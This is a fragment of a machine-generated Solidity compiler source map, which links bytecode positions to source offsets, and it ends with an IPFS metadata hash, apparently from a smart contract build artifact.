:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:375;3354:1;3372:5;3386:249;3407:1;3397:8;3394:15;3386:249;;;3457:4;3452:3;3448:14;3442:4;3439:24;3436:50;;;3466:18;;:::i;:::-;3516:1;3506:8;3502:16;3499:49;;;3530:16;;;;3499:49;3613:1;3609:16;;;;;3569:15;;3386:249;;;3266:375;;;;;;:::o;3646:902::-;3695:5;3725:8;3715:80;;-1:-1:-1;3766:1:1;3780:5;;3715:80;3814:4;3804:76;;-1:-1:-1;3851:1:1;3865:5;;3804:76;3896:4;3914:1;3909:59;;;;3982:1;3977:174;;;;3889:262;;3909:59;3939:1;3930:10;;3953:5;;;3977:174;4014:3;4004:8;4001:17;3998:43;;;4021:18;;:::i;:::-;-1:-1:-1;;4077:1:1;4063:16;;4136:5;;3889:262;;4235:2;4225:8;4222:16;4216:3;4210:4;4207:13;4203:36;4197:2;4187:8;4184:16;4179:2;4173:4;4170:12;4166:35;4163:77;4160:203;;;-1:-1:-1;4272:19:1;;;4348:5;;4160:203;4395:42;-1:-1:-1;;4420:8:1;4414:4;4395:42;:::i;:::-;4473:6;4469:1;4465:6;4461:19;4452:7;4449:32;4446:58;;;4484:18;;:::i;:::-;4522:20;;3646:902;-1:-1:-1;;;3646:902:1:o;4553:140::-;4611:5;4640:47;4681:4;4671:8;4667:19;4661:4;4640:47;:::i;4698:168::-;4771:9;;;4802;;4819:15;;;4813:22;;4799:37;4789:71;;4840:18;;:::i;4871:356::-;5073:2;5055:21;;;5092:18;;;5085:30;5151:34;5146:2;5131:18;;5124:62;5218:2;5203:18;;4871:356::o;5232:251::-;5302:6;5355:2;5343:9;5334:7;5330:23;5326:32;5323:52;;;5371:1;5368;5361:12;5323:52;5403:9;5397:16;5422:31;5447:5;5422:31;:::i;6753:456::-;6841:6;6849;6857;6910:2;6898:9;6889:7;6885:23;6881:32;6878:52;;;6926:1;6923;6916:12;6878:52;-1:-1:-1;;6971:16:1;;7077:2;7062:18;;7056:25;7173:2;7158:18;;;7152:25;6971:16;;7056:25;;-1:-1:-1;7152:25:1;6753:456;-1:-1:-1;6753:456:1:o;7493:277::-;7560:6;7613:2;7601:9;7592:7;7588:23;7584:32;7581:52;;;7629:1;7626;7619:12;7581:52;7661:9;7655:16;7714:5;7707:13;7700:21;7693:5;7690:32;7680:60;;7736:1;7733;7726:12;9803:128;9870:9;;;9891:11;;;9888:37;;;9905:18;;:::i;9936:125::-;10001:9;;;10022:10;;;10019:36;;;10035:18;;:::i;11126:135::-;11165:3;11186:17;;;11183:43;;11206:18;;:::i;:::-;-1:-1:-1;11253:1:1;11242:13;;11126:135::o;11266:217::-;11306:1;11332;11322:132;;11376:10;11371:3;11367:20;11364:1;11357:31;11411:4;11408:1;11401:15;11439:4;11436:1;11429:15;11322:132;-1:-1:-1;11468:9:1;;11266:217::o;11890:127::-;11951:10;11946:3;11942:20;11939:1;11932:31;11982:4;11979:1;11972:15;12006:4;12003:1;11996:15;12154:959;12416:4;12464:3;12453:9;12449:19;12495:6;12484:9;12477:25;12538:6;12533:2;12522:9;12518:18;12511:34;12581:3;12576:2;12565:9;12561:18;12554:31;12605:6;12640;12634:13;12671:6;12663;12656:22;12709:3;12698:9;12694:19;12687:26;;12748:2;12740:6;12736:15;12722:29;;12769:1;12779:195;12793:6;12790:1;12787:13;12779:195;;;12858:13;;-1:-1:-1;;;;;12854:39:1;12842:52;;12923:2;12949:15;;;;12914:12;;;;12890:1;12808:9;12779:195;;;-1:-1:-1;;;;;;;13030:32:1;;;;13025:2;13010:18;;13003:60;-1:-1:-1;;13094:3:1;13079:19;13072:35;12991:3;12154:959;-1:-1:-1;;;12154:959:1:o

ipfs://951419deecf2e5da5564e365fc998888f1c50dbb324fdb36e95cc411c57c7042